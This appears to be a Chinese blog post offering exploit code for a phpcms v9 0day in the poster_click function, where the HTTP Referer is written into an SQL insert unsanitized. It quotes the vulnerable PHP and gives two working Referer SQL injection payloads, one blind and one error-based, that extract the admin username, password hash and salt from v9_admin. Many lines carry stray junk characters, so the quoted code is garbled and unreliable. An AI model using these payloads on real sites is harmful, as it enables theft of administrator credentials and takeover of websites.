phpcms post_click注入0day利用代码

admin

有人放出了phpcmsv9的0day,就随时写了个利用代码,其中注入代码有两种形式:

问题函数\phpcms\modules\poster\index.php

public function poster_click() {
5 P% ]* h0 [3 {# {1 X3 o$id = isset($_GET['id']) ? intval($_GET['id']) : 0;
! _' Z* q6 U# i( D& d8 ~$r = $this->db->get_one(array('id'=>$id));
if (!is_array($r) && empty($r)) return false;
" F4 g7 a4 q6 N* U$ip_area = pc_base::load_sys_class('ip_area');
* m- x  s7 l3 ?+ O$ip = ip();
8 X9 u9 g% [6 `$area = $ip_area->get($ip);
$username = param::get_cookie('username') ? param::get_cookie('username') : '';
if($id) {
$siteid = isset($_GET['siteid']) ? intval($_GET['siteid']) : get_siteid();
$this->s_db->insert(array('siteid'=>$siteid, 'pid'=>$id, 'username'=>$username, 'area'=>$area, 'ip'=>$ip, 'referer'=>HTTP_REFERER, 'clicktime'=>SYS_TIME, 'type'=> 1));
  e( ?; `0 q5 R+ H' F' c4 c: M}
$this->db->update(array('clicks'=>'+=1'), array('id'=>$id));
$setting = string2array($r['setting']);
) h5 a! l/ r6 E% F  f3 I% E: v2 rif (count($setting)==1) {
% o- J. O& O/ b1 b' ]$url = $setting['1']['linkurl'];
} else {
4 B( Q6 h: P6 o# ^$url = isset($_GET['url']) ? $_GET['url'] : $setting['1']['linkurl'];
4 x: A/ E- D1 |3 l7 C4 r) i' b}
header('Location: '.$url);
}
' D7 ~4 X( s+ O  Z2 E/ U


利用方式：

0 i% }  ^. o4 L5 {( O  ?1、可以采用盲注入的手法：

referer:1′,(select password from v9_admin where userid=1 substr(password,4)=’xxoo’),’1′)#

) z: @( [! g3 ^& W5 Z2 c+ U通过返回页面，正常与否一个个猜解密码字段。
: @% w) c) q; |4 Z$ S2 a  B
2、代码是花开写的，随手附上了：
" p/ R8 M7 X* l  Y
$ e- O+ {0 V* i1′,(SELECT 1 FROM (select count(*),concat(floor(rand(0)*2),(SELECT concat(username,0x5f,password,0x5f,encrypt) FROM v9_admin WHERE 1 ))a from information_schema.tables group by a)b),’1′)#
( n9 ~( {$ p! |5 |* n8 j
此方法是爆错注入手法，原理自查。
